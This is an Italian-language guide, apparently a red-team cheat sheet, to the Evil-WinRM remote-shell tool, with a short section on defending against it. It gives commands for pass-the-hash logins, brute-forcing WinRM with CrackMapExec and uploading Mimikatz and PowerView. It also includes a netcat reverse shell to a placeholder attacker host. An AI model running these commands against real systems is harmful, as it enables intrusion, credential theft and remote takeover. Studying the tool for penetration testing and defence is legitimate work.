🎯 Evil-WinRM – Guida Completa
Evil-WinRM è uno strumento Ruby-based che sfrutta il protocollo WinRM Windows Remote Management per offrire un’interfaccia semi-interattiva di tipo shell remota su sistemi Windows. Viene utilizzato in
🎯 Evil-WinRM – Guida Completa
📌 Cos'è Evil-WinRM?
Evil-WinRM è uno strumento Ruby-based che sfrutta il protocollo WinRM (Windows Remote Management) per offrire un’interfaccia semi-interattiva di tipo shell remota su sistemi Windows.
Viene utilizzato in fase di post-exploitation dopo che sono state ottenute credenziali valide, ed è lo strumento de facto per accedere ad un sistema Windows via WinRM in modalità command line.
⚙️ Requisiti e Installazione
📦 Prerequisiti
- Ruby installato (versione 2.5+ consigliata)
bundlerinstallato (gem install bundler)
- Linux/MacOS (può funzionare anche su Windows con WSL)
💻 Installazione
git clone https://github.com/Hackplayers/evil-winrm cd evil-winrm bundle installOppure installa tramite apt (Kali):
sudo apt install evil-winrmControlla che sia funzionante:
evil-winrm -h🔐 Accesso con Credenziali Valide
🧩 Comando base:
evil-winrm -i <IP> -u <utente> -p <password>✅ Esempio:
evil-winrm -i 10.10.10.10 -u administrator -p 'P@ssw0rd!'🔐 Con autenticazione via NTLM hash (Pass-the-Hash):
evil-winrm -i 10.10.10.10 -u administrator -H <NTLM_hash>⚠️ Solo se la macchina target consente NTLM per WinRM.
🔐 Accesso con certificato (se disponibile)
evil-winrm -i <IP> -u <utente> -k <cert_file.pem>🧪 Comandi principali in sessione
Una volta ottenuto l’accesso, sei in una PowerShell remota completa.
Puoi eseguire:
whoami
ipconfig
net users
Get-Process
Get-Service📁 Upload / Download file
📤 Upload (dal tuo host al target):
upload /path/local/tool.exe tool.exe📥 Download (dal target al tuo host):
download file.txt🔁 Esecuzione automatica di script (PowerShell)
Caricamento e invocazione:
evil-winrm -i <IP> -u <utente> -p <password> -s /path/script.ps1Durante la sessione:
./script.ps1🔐 Integrazione con Mimikatz, Nishang, PowerView
Puoi caricare script post-exploitation molto utili in ambiente Windows:
Esempi:
upload /opt/mimikatz/mimikatz.exe
.\mimikatz.exeOppure:
upload /opt/PowerView.ps1
.\PowerView.ps1 Get-NetUser -UserName administrator⚡ Opzioni avanzate
| Flag | Descrizione |
-s | Specifica directory locale per gli script |
-e | Specifica directory locale per gli eseguibili |
-c | Specifica directory locale per i file da caricare in memoria |
--no-colors | Disabilita colori |
--use-rport | Specifica una porta diversa dalla 5985 (default) |
📂 Esempio workflow completo
1. Scansione della porta WinRM:
nmap -p 5985,5986 --open -sV 10.10.10.102. Enumerazione utenti
Da SMB o LDAP o credenziali ottenute da dump.
3. Bruteforce con CrackMapExec
crackmapexec winrm 10.10.10.10 -u users.txt -p passwords.txt4. Accesso con Evil-WinRM
evil-winrm -i 10.10.10.10 -u administrator -p P@ssw0rd5. Post-Exploitation
whoami
ipconfig
upload nc.exe
.\nc.exe -e cmd.exe attacker_ip 4444🛡️ Difese consigliate lato Blue Team
- Disabilitare WinRM se non necessario
- Limitare WinRM solo a IP/host autorizzati
- Forzare autenticazione Kerberos
- Abilitare audit e logging PowerShell
- Monitorare eventi:
Microsoft-Windows-WinRM/Operational
- Security (ID 4624, 4648, 4688)
📚 Risorse ufficiali
- Cheatsheet Red Team